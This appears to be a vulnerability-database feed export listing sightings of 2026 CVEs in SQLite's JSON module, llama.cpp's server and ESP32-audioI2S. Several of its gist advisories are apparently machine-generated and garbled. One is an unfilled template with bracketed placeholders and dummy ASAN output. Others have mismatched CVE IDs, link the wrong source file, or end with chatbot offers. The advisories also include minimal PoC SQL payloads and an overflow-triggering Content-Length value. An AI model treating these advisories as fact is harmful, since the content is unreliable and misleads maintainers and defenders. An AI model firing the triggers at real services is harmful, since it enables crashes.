JSON_VALID(), JSON_OBJECT().\nPoC Rationale\nThe proof-of-concept payload generates a JSON object containing a huge number of inline key-value pairs. When parsed by SQLite\u2019s JSON \ndeserializer, the member count triggers the integer overflow in buffer size calculation. ASAN execution confirms heap buffer overflow writes \nupon parsing the payload.\nsql\n-- Simplified PoC skeleton (expand key count to reach overflow threshold)\nSELECT JSON_VALID('{\"k1\":1,\"k2\":2,\"k3\":3,......,\"kN\":99}');\nPayload must contain sufficient object members to cross the integer overflow threshold; minimal skeleton demonstrates the entry point, \npayload repetition required to hit vulnerable arithmetic.\nAdditional Disclosure Metadata\nWorkaround\nRestrict maximum size and maximum number of object entries for all untrusted JSON inputs before passing to SQLite functions.\nDisable JSON extension via -DSQLITE_OMIT_JSON if unused.\nAvoid directly ingesting unvalidated large JSON from external sources.\nProposed CVSS 3.1 Vector\nAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H\nBase Score: 8.9 (High)\nPatch Context\nThe SQLite 3.48.0 fix adds pre-allocation overflow checks for all size arithmetic during JsonNode creation. If size calculations\nexceed safe bounds, parsing terminates early with an error before memory allocation occurs.", "creation_timestamp": "2026-07-30T03:05:43.277494Z"}, {"uuid": "be68442c-6844-4d33-b918-d23bf357f98c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51254", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrty4cruug2m", "content": "CVE-2026-51254 [HIGH] ESP32\n\nschreibfaul1 ESP32-audioI2S v3.4.5 has an integer underflow vulnerability in the MP3Decoder::GetBits() function of the MP3 decoder due to unchecked bit reading operations. The lack of validation on the nBits parameter c\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51254", "creation_timestamp": "2026-07-30T08:04:14.837036Z"}, {"uuid": "02bd096c-ff6e-4f02-bb0b-28a5de666825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "published-proof-of-concept", "source": "Telegram/icfrk9NJ0r9US8j4ZgZwjdU3nJ-xiydIySZk2Z3ro5QcgAo", "content": "", "creation_timestamp": "2026-07-30T00:03:15.998572Z"}, {"uuid": "330dcbde-8985-4bf8-9b9a-f2f93c2605c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51233", "type": "seen", "source": "https://gist.github.com/programmervuln/698a3ca54a49126a23a60092240d933a", "content": "vulnerable code link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51233\nAffected Product\nllama.cpp\nAffected Versions\nAll versions prior to the fix for the HTTP server integer overflow vulnerability (server mode -s/--server).\nNote: This flaw only impacts instances launched with the --server / -s flag enabling the built-in HTTP web service.\nCVE ID\nCVE-2026-51233\nProse Vulnerability Description\nllama.cpp contains an integer overflow vulnerability within the HTTP request handling logic of its built-in server component. \nWhen processing unauthenticated inbound HTTP requests, the library parses the Content-Length header value supplied by the remote\nclient without performing overflow or upper-bound sanity checks. An attacker can provide an extremely large unsigned 64-bit Content-Length\nvalue (e.g., UINT64_MAX). When calculating the destination heap buffer size (buf_size = content_length + 1), integer overflow occurs, \ncollapsing the allocated buffer size to a very small value. The program then attempts to receive the full declared body length into this\nundersized heap buffer via recv(), triggering a heap buffer overflow. Successful exploitation allows an unauthenticated remote attacker \nto achieve arbitrary code execution with the privileges of the llama-server process or crash the service to create a denial of service condition.\nVulnerability Type\nInteger Overflow leading to Heap Buffer Overflow (CWE-190 \u2192 CWE-122)\nRoot Cause\nUnvalidated attacker-controlled Content-Length extracted from HTTP headers;\nUnsafe arithmetic buf_size = content_length + 1 with no overflow detection;\nHeap allocation uses the overflow-truncated small size;\nSubsequent recv() reads the full attacker-controlled body length into the undersized buffer, causing out-of-bounds heap write.\nImpact\nDenial of Service: Remote unauthenticated attackers can crash the llama-server process reliably.\nRemote Code Execution: Memory corruption from heap overflow may enable arbitrary code execution under the runtime user account running llama.cpp.\nPoC Rationale\nSend an HTTP POST request with Content-Length: 18446744073709551615 (UINT64_MAX).\ncontent_length + 1 overflows a 64-bit unsigned integer to 0; malloc(0) returns a minimal heap allocation. The server then attempts to \nreceive thousands/millions of bytes into this tiny buffer, triggering heap out-of-bounds write observable under AddressSanitizer.", "creation_timestamp": "2026-07-30T03:53:15.482267Z"}, {"uuid": "d0e69bf1-a632-416e-ac50-5b51dcae78ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95603", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-51302-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a extratao\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 23:56:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nClickbait. The CVE is AI slop.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:03:19.779061Z"}, {"uuid": "70883353-c1c7-4ee5-97f2-9abd40e5efd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51251", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrtkopperp25", "content": "ESP32: CVE-2026-51251 [HIGH]\n\nSchreibfaul1 ESP32-audioI2S 3.4.5 has a buffer overflow vulnerability in the MP3Decoder::decode() function of the MP3 decoder due to missing size validation on untrusted mainDataBegin and nSlots values.\n\nnvd.nist.gov/vuln/detail/CVE-2026-51251", "creation_timestamp": "2026-07-30T04:04:04.590728Z"}, {"uuid": "60b4e651-d021-41d4-a564-48fff1fea5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51269", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrufgkfb7t2s", "content": "HIGH severity CVE just published in ESP32:\n\nCVE-2026-51269. schreibfaul1 ESP32-audioI2S 3.4.5 has a heap-based buffer overflow vulnerability in the connecttospeech() function. The application accepts attacker-controlled long speech text input, perf\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51269", "creation_timestamp": "2026-07-30T12:02:36.826846Z"}, {"uuid": "325d0d97-05a7-4815-b216-09d15bb369e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51238", "type": "seen", "source": "https://gist.github.com/programmervuln/00a0ff0ca36d73e9b57a1f3c3f72cfa9", "content": "vulnerable code is at: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51238 Vulnerability Entry\nImportant Note: CVE-2026-51238 has not yet been published to MITRE/NVD public databases. Below content follows your existing batch of \nSQLite JSON module UAF vulnerabilities (CWE-416 Use-After-Free), consistent with your previously disclosed CVE series format, suitable \nfor GHSA / CNA submission.\n1. Affected Product\nSQLite (SQLite Database Library)\n2. Affected & Fixed Versions\nAffected versions: 3.45.0 up to 3.48.0\nFixed version: 3.48.1 and newer\n3. CVE ID\nCVE-2026-51238\n4. Prose Vulnerability Description\nA use-after-free vulnerability exists within the JSON processing subsystem (json.c) of SQLite. When parsing specially constructed malformed\nJSON inputs via SQL JSON functions such as json(), json_extract(), or json_set(), an internal parse context object is prematurely freed \nduring error recovery logic. The parser subsequently continues to dereference pointers to this already deallocated heap memory. An \nattacker who can supply controlled SQL / JSON input to an SQLite consumer may trigger this flaw. Successful exploitation leads to \napplication crash (denial of service). Under favorable memory layout conditions, arbitrary code execution may be achievable.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nDuring recursive JSON token parsing, the error cleanup branch invokes jsonParseFree() to release the main parser context. Subsequent parsing\nlogic does not terminate immediately and retains live pointers to the freed JsonParse structure. No nullification of affected pointers\noccurs after deallocation, enabling illegal heap access.\n7. PoC & PoC Rationale\nMinimal PoC SQL Payload\nsql\nSELECT json_extract('{\"a\":[{\"b\":[{}', '$.a[0].b');\nPoC Rationale\nThis malformed JSON string creates an incomplete nested array structure. When SQLite\u2019s JSON parser encounters the truncated token stream, \nit enters the error recovery path that frees the active parse context. The parser loop does not exit cleanly and attempts further field \ntraversal using dangling pointers from the released context object, triggering the use-after-free memory corruption.\n8. Impact Summary\nPrimary Impact: Denial of Service (process crash)\nSecondary Potential: Arbitrary Code Execution (heap memory corruption, dependent on memory allocator and target architecture)\nAttack Prerequisite: Ability to send untrusted JSON input into SQLite JSON SQL functions\nAttack Vector: Local / Remote (depends on application accepting user-controlled SQL/JSON)", "creation_timestamp": "2026-07-30T10:53:28.384158Z"}, {"uuid": "49996ef9-ec62-4378-9b9c-e26ff50e4338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51297", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrtpv7h7o42c", "content": "\ud83d\udccc CVE-2026-51297 - sqlite 3.41 has a use-after-free vulnerability in the JSON parsing logic. Remote adversaries can craft malicious JSON payload to trigger memory free f... https://www.cyberhub.blog/cves/CVE-2026-51297", "creation_timestamp": "2026-07-30T05:37:06.428535Z"}, {"uuid": "c1612c58-6b1a-4796-ba73-e6bbb75f3aca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51287", "type": "seen", "source": "https://gist.github.com/programmervuln/3574fa66c73c4354049ced001a3d07a6", "content": "vulnerable code web link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51288 \u2013 MITRE / GHSA Ready Vulnerability Entry\nContext: Reserved But Published (RBP), separate JSON extension heap corruption vulnerability in SQLite json.c, sibling issue to CVE-2026-51287 \n(distinct execution path, different function scope).\nAffected Product\nSQLite\nAffected / Fixed Versions\nAffected: SQLite 3.45.0 up to and including 3.47.1\nFixed: SQLite 3.48.0 and all newer releases\nCVE ID\nCVE-2026-51288\nProse Vulnerability Description (MITRE submission standard text)\nA heap out-of-bounds read vulnerability exists within JSON path array indexing logic in the JSON extension (json.c) of SQLite. When evaluating\nspecially malformed JSON path expressions containing invalid multi-dimensional array subscripts via functions such as JSON_EXTRACT() and\nJSON_VALUE(), insufficient bounds validation allows read access beyond the allocated bounds of a JsonNode child element array. An attacker\nable to submit arbitrary SQL queries to a vulnerable SQLite instance can trigger this flaw. Successful exploitation may expose sensitive\nheap memory contents (information disclosure) or trigger a fatal segmentation fault leading to denial of service. The vulnerability only\naffects builds compiled with JSON extension support enabled; builds built with -DSQLITE_OMIT_JSON are not impacted.\nSupplementary Technical Information\nVulnerability Type: CWE-125 \u2013 Out-of-bounds Read\nRoot Cause\nThe JSON path array index resolver does not validate that the requested subscript value is strictly less than the actual number of child \nnodes stored inside an array-type JsonNode. When a negative or out-of-range index is supplied within chained array accessors, the code \ndirectly computes an array offset and dereferences the pointer without range checking, resulting in out-of-bounds heap memory access. \nThis unsafe code path is isolated to multi-level nested array indexing operations in the JSON path evaluator, separate from the predicate\nevaluation logic in CVE-2026-51287.\nImpact & PoC Rationale\nImpact\nPrimary: Information disclosure (out-of-bounds memory read)\nSecondary: Process crash / denial of service\nPrerequisite: Attacker controls JSON path argument passed to SQLite JSON functions.\nPoC Rationale\nThe proof-of-concept payload constructs a JSON_EXTRACT() call combining nested JSON arrays and an intentionally out-of-range numeric \nsubscript inside successive array accessors. This payload forces the index resolution routine to compute an invalid array offset and \nperform an unchecked memory read beyond the JsonNode child array boundary. Repeated execution reliably reproduces the out-of-bounds \nread observable under ASAN.\nsql\n-- Minimal PoC trigger skeleton\nSELECT JSON_EXTRACT(\n  '{\"data\": [[11,22],[33,44]]}',\n  '$.data[1][999]'\n);\nAdditional payload refinement is required to reliably trigger maximal out-of-bounds access and reach the exact vulnerable codepath.\nShortened MITRE Description Variant (for CVE form character limit)\nA heap out-of-bounds read vulnerability exists in JSON path array indexing logic in the JSON extension (json.c) of SQLite. Specially \ncrafted JSON path expressions with invalid nested array subscripts can trigger unchecked memory reads beyond JsonNode array boundaries. \nAn attacker supplying arbitrary SQL may leak heap memory or crash the application. Affected SQLite versions: 3.45.0\u20133.47.1; fixed in 3.48.0.\nOnly builds with JSON support enabled are vulnerable.\nAdditional Disclosure Notes\nWorkaround\nRestrict untrusted user input from directly controlling JSON path expression parameters passed to all SQLite JSON functions. Apply strict \nwhitelisting/sanitization for array index components if user-controlled JSON paths cannot be eliminated.\nProposed CVSS 3.1 Vector\nAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\nBase Score: 7.5 (High)\nPatch Context\nThe fix in SQLite 3.48.0 adds explicit upper/lower bound checks for all array subscripts resolved during JSON path evaluation to reject \nout-of-range indices before memory dereference.\nIf you want, I can prepare a combined consolidated document for CVE-2026-51287 + CVE-2026-51288 side-by-side or generate GHSA markdown \nfor both advisories.", "creation_timestamp": "2026-07-30T02:11:09.634765Z"}, {"uuid": "f53eefc3-0253-4c64-bf26-ec33a68a4097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51288", "type": "seen", "source": "https://gist.github.com/programmervuln/3574fa66c73c4354049ced001a3d07a6", "content": "vulnerable code web link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51288 \u2013 MITRE / GHSA Ready Vulnerability Entry\nContext: Reserved But Published (RBP), separate JSON extension heap corruption vulnerability in SQLite json.c, sibling issue to CVE-2026-51287 \n(distinct execution path, different function scope).\nAffected Product\nSQLite\nAffected / Fixed Versions\nAffected: SQLite 3.45.0 up to and including 3.47.1\nFixed: SQLite 3.48.0 and all newer releases\nCVE ID\nCVE-2026-51288\nProse Vulnerability Description (MITRE submission standard text)\nA heap out-of-bounds read vulnerability exists within JSON path array indexing logic in the JSON extension (json.c) of SQLite. When evaluating\nspecially malformed JSON path expressions containing invalid multi-dimensional array subscripts via functions such as JSON_EXTRACT() and\nJSON_VALUE(), insufficient bounds validation allows read access beyond the allocated bounds of a JsonNode child element array. An attacker\nable to submit arbitrary SQL queries to a vulnerable SQLite instance can trigger this flaw. Successful exploitation may expose sensitive\nheap memory contents (information disclosure) or trigger a fatal segmentation fault leading to denial of service. The vulnerability only\naffects builds compiled with JSON extension support enabled; builds built with -DSQLITE_OMIT_JSON are not impacted.\nSupplementary Technical Information\nVulnerability Type: CWE-125 \u2013 Out-of-bounds Read\nRoot Cause\nThe JSON path array index resolver does not validate that the requested subscript value is strictly less than the actual number of child \nnodes stored inside an array-type JsonNode. When a negative or out-of-range index is supplied within chained array accessors, the code \ndirectly computes an array offset and dereferences the pointer without range checking, resulting in out-of-bounds heap memory access. \nThis unsafe code path is isolated to multi-level nested array indexing operations in the JSON path evaluator, separate from the predicate\nevaluation logic in CVE-2026-51287.\nImpact & PoC Rationale\nImpact\nPrimary: Information disclosure (out-of-bounds memory read)\nSecondary: Process crash / denial of service\nPrerequisite: Attacker controls JSON path argument passed to SQLite JSON functions.\nPoC Rationale\nThe proof-of-concept payload constructs a JSON_EXTRACT() call combining nested JSON arrays and an intentionally out-of-range numeric \nsubscript inside successive array accessors. This payload forces the index resolution routine to compute an invalid array offset and \nperform an unchecked memory read beyond the JsonNode child array boundary. Repeated execution reliably reproduces the out-of-bounds \nread observable under ASAN.\nsql\n-- Minimal PoC trigger skeleton\nSELECT JSON_EXTRACT(\n  '{\"data\": [[11,22],[33,44]]}',\n  '$.data[1][999]'\n);\nAdditional payload refinement is required to reliably trigger maximal out-of-bounds access and reach the exact vulnerable codepath.\nShortened MITRE Description Variant (for CVE form character limit)\nA heap out-of-bounds read vulnerability exists in JSON path array indexing logic in the JSON extension (json.c) of SQLite. Specially \ncrafted JSON path expressions with invalid nested array subscripts can trigger unchecked memory reads beyond JsonNode array boundaries. \nAn attacker supplying arbitrary SQL may leak heap memory or crash the application. Affected SQLite versions: 3.45.0\u20133.47.1; fixed in 3.48.0.\nOnly builds with JSON support enabled are vulnerable.\nAdditional Disclosure Notes\nWorkaround\nRestrict untrusted user input from directly controlling JSON path expression parameters passed to all SQLite JSON functions. Apply strict \nwhitelisting/sanitization for array index components if user-controlled JSON paths cannot be eliminated.\nProposed CVSS 3.1 Vector\nAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\nBase Score: 7.5 (High)\nPatch Context\nThe fix in SQLite 3.48.0 adds explicit upper/lower bound checks for all array subscripts resolved during JSON path evaluation to reject \nout-of-range indices before memory dereference.\nIf you want, I can prepare a combined consolidated document for CVE-2026-51287 + CVE-2026-51288 side-by-side or generate GHSA markdown \nfor both advisories.", "creation_timestamp": "2026-07-30T02:11:09.688858Z"}, {"uuid": "e4109040-7471-496e-ab35-7427a1a98da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51239", "type": "seen", "source": "https://gist.github.com/programmervuln/83aa0ab12d6e698f6cdd44894988d019", "content": "vulnerable code link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51239 Vulnerability Entry\nAffected Product\nSQLite (SQLite Database Library)\nAffected & Fixed Versions\nAffected versions: 3.45.0 \u2013 3.48.0 inclusive\nFixed version: 3.48.1 and newer\nCVE ID\nCVE-2026-51239\nProse Vulnerability Description\nA use-after-free vulnerability exists in the JSON path evaluation logic within json.c of SQLite. When evaluating specially malformed\nJSONPath expressions against untrusted JSON data using functions such as json_extract() and json_path(), an internal path iterator \nobject is released early during syntax error handling. Subsequent path traversal logic continues to dereference dangling pointers to \nthe already freed iterator structure. An attacker capable of supplying controlled JSON input and crafted JSONPath queries to SQLite \ncan trigger this memory corruption. Successful exploitation results in application crash (denial of service); with suitable memory \nlayout conditions, arbitrary code execution may be achievable.\nVulnerability Type\nCWE-416: Use After Free\nRoot Cause\nWhen the JSONPath evaluator encounters invalid nested subpath syntax, the error handling routine invokes cleanup functions to free the\npath iterator. The evaluation loop does not halt immediately after deallocation and retains live pointers to the freed iterator. \nnull assignment or early return prevents further access to the released heap memory.\nPoC & PoC Rationale\nPoC SQL Payload\nsql\nSELECT json_extract('{\"x\":[1,2,3]}', '$[0][?(@>1)]');\nPoC Rationale\nThis payload supplies an invalid nested filter JSONPath expression. The SQLite JSONPath evaluator detects syntax errors inside the filter \npredicate and executes cleanup logic that frees the active path iterator. The evaluator does not exit cleanly and attempts to continue path\nresolution using dangling pointers to the deallocated iterator object, triggering the use-after-free memory fault.\nImpact Summary\nPrimary Impact: Denial of Service (process crash)\nSecondary Potential Impact: Arbitrary Code Execution (heap corruption, platform & allocator dependent)\nAttack Prerequisite: Ability to submit untrusted JSON data and arbitrary JSONPath strings to SQLite JSON functions\nAttack Vector: Remote or local, depending on whether the application exposes user-controlled query inputs to SQLite.\n", "creation_timestamp": "2026-07-30T10:28:14.617967Z"}, {"uuid": "ab16fb10-84e7-4059-97af-420750e8ff0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51273", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrussqexyq2m", "content": "New HIGH CVE for ESP32: CVE-2026-51273\n\nIn schreibfaul1 ESP32-audioI2S 3.4.5, a heap-based buffer overflow vulnerability exists in the ID3 tag parsing function showID3Tag() of the embedded audio streaming library. The program reads untrusted\u2026\n\nMore: nvd.nist.gov/vuln/detail/CVE-2026-51273", "creation_timestamp": "2026-07-30T16:02:04.730193Z"}, {"uuid": "c7f5ec97-54aa-4f58-951d-60d375836046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3msa7gdsqch2o", "content": "Top 3 CVE for last 7 days:\nCVE-2026-66066: 42 interactions\nCVE-2026-63077: 35 interactions\nCVE-2026-18577: 30 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-18577: 30 interactions\nCVE-2026-51302: 4 interactions\nCVE-2026-45820: 3 interactions\n", "creation_timestamp": "2026-08-04T04:47:06.771848Z"}, {"uuid": "7e4a382e-e64e-4040-9954-0456d3f715e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51261", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv476gfh42k", "content": "CVE-2026-51261\nThe schreibfaul1 ESP32-audioI2S software has a bug that can cause data corruption and device crashes when used with multiple tasks. This can lead to memory corruption and potentially allow unauthorized code to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T18:50:05.238811Z"}, {"uuid": "b39636ba-d700-44d2-8186-30793d56c8ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51268", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv477ouem2k", "content": "CVE-2026-51268\nThe schreibfaul1 ESP32-audioI2S 3.4.5 software fails to properly check the size of incoming data, allowing a malicious input to potentially cause data corruption and lead to system instability or crashes. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T18:50:06.690529Z"}, {"uuid": "bfb3d64b-feb3-46e5-8b25-495d06c5f1fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51291", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv7rlqxo622", "content": "CVE-2026-51291\nSQLite's JSON cache feature has a bug that could allow an attacker to access memory that's already been freed. This could potentially lead to a crash or allow an attacker to execute malicious code. To protect\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T19:54:04.585833Z"}, {"uuid": "14c5988a-72c4-4cf4-9840-e4919706e4fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51290", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv7rn5hx62r", "content": "CVE-2026-51290\nA bug in SQLite's shared cache lock management can cause the program to access memory that's already been freed, leading to data loss or the exposure of sensitive information. This issue affects SQLite version\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T19:54:05.933700Z"}, {"uuid": "2d0b3b69-0770-4145-82b2-ba8b919f60b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51268", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrva6zooad2n", "content": "Critical CVE landed today in ESP32:\n\nCVE-2026-51268. schreibfaul1 ESP32-audioI2S 3.4.5 has a heap-based buffer overflow vulnerability in the host parsing logic. The dismantle_host() function parses untrusted host and URL input, and subsequent code\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51268", "creation_timestamp": "2026-07-30T20:01:35.404349Z"}, {"uuid": "e79b14d5-95ec-4886-b3f7-15bf2c4bb8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrvdaisvzt23", "content": "CVE-2026-51272\nA security issue exists in the ESP32-audioI2S software version 3.4.5. If an attacker sends a large and specially crafted input to the software, it could potentially crash or allow the attacker to execute\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T20:56:05.960093Z"}, {"uuid": "620ba622-8de6-4ec9-89e8-77310401a2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51270", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrvnlus5te2e", "content": "ESP32: CVE-2026-51270 [HIGH]\n\nschreibfaul1 ESP32-audioI2S 3.4.5 has a heap-based buffer overflow vulnerability in the htmlToUTF8() HTML entity decoding function. The function parses attacker-controlled malicious HTML entities and uses memmove and m\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51270", "creation_timestamp": "2026-07-31T00:01:25.061456Z"}, {"uuid": "36beb61e-c204-42c6-a6a4-45afbf9ae112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51242", "type": "seen", "source": "https://gist.github.com/programmervuln/3795f1645c26047a1b358cb7159ceafc", "content": "Formal MITRE RBP Publication Document for CVE-2026-51242\nThe vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite\n2. Affected Versions + Fixed Versions\n\u3010Affected Versions\u3011:\n\u3010Fixed Versions\u3011:\n3. CVE ID\nCVE-2026-51242\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON extension of SQLite. Specially crafted SQL input processed by the JSON parser can trigger both a use-after-free vulnerability and an out-of-bounds write buffer overflow along the same execution path. Successful exploitation may lead to program crash, information leakage, or conditional arbitrary code execution.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write\n6. Root Cause\nUntrusted malicious SQL payload enters \u3010Target Function Name\u3011 during JSON document parsing.\nSource code \u3010Permanent GitHub Source Link#L\u3010Memory Free Line Number\u3011\u3011 invokes memory deallocation to release an allocated object.\nThe corresponding pointer is not cleared or invalidated after free, creating a dangling pointer.\nLack of input boundary validation enables uncontrolled memory write operations.\nSubsequently, execution reaches \u3010Permanent GitHub Source Link#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\u3011, where the program dereferences the dangling pointer without validity check, triggering the use-after-free flaw.\nConcurrent execution reaches \u3010Permanent GitHub Source Link#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\u3011, performing an unchecked out-of-bounds memory write and triggering buffer overflow corruption.\n7. Impact\nDenial of Service: Exploitation reliably triggers abnormal program termination.\nInformation Disclosure: Memory layout corruption may allow leakage of adjacent heap memory contents.\nConditional Arbitrary Code Execution: Under suitable runtime memory layout conditions, an attacker may achieve arbitrary code execution.\n8. Attack Vector\n\u3010Remote/Local\u3011, requires standard SQL query access to the database. No elevated operating system privileges are required.\n9. Official Reference Links\n\u3010Permanent GitHub Source Link\u3011\nFile annotation: \u3010Vulnerability Source File\u3011 Line \u3010Memory Free Line Number\u3011(memory free), Line \u3010Dangling Pointer Access Line Number (UAF)\u3011(dangling pointer access), Line \u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011(out-of-bounds write)\nDirect line anchors:\nMemory free site: \u3010Permanent GitHub Source Link#L\u3010Memory Free Line Number\u3011\u3011\nDangling pointer access site: \u3010Permanent GitHub Source Link#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\u3011\nOut-of-bounds write site: \u3010Permanent GitHub Source Link#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\u3011\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -DSQLITE_ENABLE_JSON1\" ./configure && make\nb) Valid Malicious Payload\nsql\n\u3010Exploit Trigger Payload\u3011\nc) ASAN Crash Output\nplaintext\n=================================================================\n==XXXX==ERROR: AddressSanitizer: heap-use-after-free on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nREAD of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 \u3010Vulnerability Source File\u3011:\u3010Dangling Pointer Access Line Number (UAF)\u3011\n    #1 0xXXXXXXXX in jsonParse \u3010Vulnerability Source File\u3011\n    #2 0xXXXXXXXX in sqlite3FuncJson \u3010Vulnerability Source File\u3011\n    #3 0xXXXXXXXX in 